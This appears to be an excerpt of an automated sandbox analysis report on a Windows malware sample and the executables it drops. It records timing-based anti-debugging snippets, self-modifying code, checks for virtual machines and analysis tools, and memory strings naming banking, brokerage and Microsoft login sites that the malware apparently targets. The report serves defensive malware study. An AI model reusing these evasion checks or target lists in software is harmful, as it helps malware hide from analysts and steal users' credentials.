Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0EC9 second address: 48A0ECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0ECE second address: 48A0F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 5DB8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007FF34D3F6B07h 0x00000013 mov ebp, esp 0x00000015 jmp 00007FF34D3F6B06h 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0F11 second address: 48A0F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920BCA second address: 4920BCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920BCE second address: 4920BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920BD4 second address: 4920C1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34D3F6B08h 0x00000009 or esi, 18454378h 0x0000000f jmp 00007FF34D3F6AFBh 0x00000014 popfd 0x00000015 mov ah, AAh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF34D3F6B01h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920C1B second address: 4920C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920C21 second address: 4920C42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920C42 second address: 4920C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920C47 second address: 4920C5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920C5F second address: 4920C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920C63 second address: 4920C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492015B second address: 4920161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4920161 second address: 4920165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910F10 second address: 4910FB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF34C7875CBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FF34C7875D6h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FF34C7875D3h 0x0000001f xor ax, 7C6Eh 0x00000024 jmp 00007FF34C7875D9h 0x00000029 popfd 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007FF34C7875D0h 0x00000031 and ch, FFFFFFE8h 0x00000034 jmp 00007FF34C7875CBh 0x00000039 popfd 0x0000003a popad 0x0000003b pop ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FF34C7875D0h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910FB7 second address: 4910FC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B01C6 second address: 48B01F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF34C7875D2h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FF34C7875D3h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B01F9 second address: 48B0240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF34D3F6AFEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF34D3F6B07h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0240 second address: 48B0274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 pushfd 0x00000007 jmp 00007FF34C7875CBh 0x0000000c jmp 00007FF34C7875D3h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dx, E7E6h 0x0000001d push edi 0x0000001e pop esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492047D second address: 492048C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492048C second address: 49204CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34C7875CBh 0x00000009 or si, F32Eh 0x0000000e jmp 00007FF34C7875D9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 movzx eax, al 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov bx, A08Eh 0x00000021 movsx edi, cx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49204CB second address: 49204E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49204E7 second address: 49204ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6438EF second address: 6438F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6438F5 second address: 6438F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0675 second address: 48C067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 48EB65 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6384CB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6C2646 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7EEB65 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9984CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A22646 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Special instruction interceptor: First address: 77193F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Special instruction interceptor: First address: 771852 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Special instruction interceptor: First address: 911001 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Special instruction interceptor: First address: 9398FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Special instruction interceptor: First address: 922EBF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Special instruction interceptor: First address: 9A1B0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Special instruction interceptor: First address: 1540C8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Special instruction interceptor: First address: 17724F4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Special instruction interceptor: First address: 537B11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Special instruction interceptor: First address: 537A4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Special instruction interceptor: First address: 758FB1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04920341 rdtsc

0_2_04920341

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1429	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1678	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1639	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1576	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5092
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4722
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5564
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 632
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 992

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

API coverage: 5.2 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2300	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2300	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 616	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 616	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7120	Thread sleep count: 304 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7120	Thread sleep time: -9120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1516	Thread sleep count: 1429 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1516	Thread sleep time: -2859429s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2284	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2284	Thread sleep time: -110055s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1224	Thread sleep count: 1678 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1224	Thread sleep time: -3357678s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4444	Thread sleep count: 1639 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4444	Thread sleep time: -3279639s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7064	Thread sleep count: 1576 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7064	Thread sleep time: -3153576s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4816	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5648	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6816	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe TID: 5708	Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe TID: 5996	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe TID: 5348	Thread sleep time: -150000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	6_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	6_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00027978 FindFirstFileW,FindFirstFileW,free,	10_2_00027978
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002BD871 FindFirstFileExW,	23_2_002BD871
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002BD922 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_002BD922

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 10_2_0002881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

10_2_0002881C

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 10_2_0002B5E0 GetSystemInfo,

10_2_0002B5E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: file.exe, 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmp, 0ef66f58de.exe, 00000026.00000002.3161107403.00000000016C1000.00000040.00000001.01000000.00000010.sdmp, 4fa13d4e43.exe, 00000027.00000002.3342910100.00000000006B4000.00000040.00000001.01000000.00000011.sdmp, 8b77671daf.exe, 0000002D.00000002.3343143690.0000000000629000.00000040.00000001.01000000.00000012.sdmp, 4fa13d4e43.exe, 0000002E.00000002.3342410001.00000000006B4000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: skotes.exe, 00000005.00000002.3347201888.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@3
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 4fa13d4e43.exe, 00000027.00000003.3265856214.0000000005384000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 153848897b.exe, 00000025.00000003.3020101256.0000000006821000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlG+
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2876063230.000000000120A000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000029.00000002.3242450223.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp, 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001185000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc
Source: PING.EXE, 00000020.00000002.2895946324.00000238A90EB000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000023.00000002.2913347869.000002382D1F8000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000002C.00000002.3342660467.000002189C428000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware$>
Source: explorer.exe, 0000001F.00000002.2876063230.000000000120A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`y!
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: explorer.exe, 00000029.00000002.3242450223.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
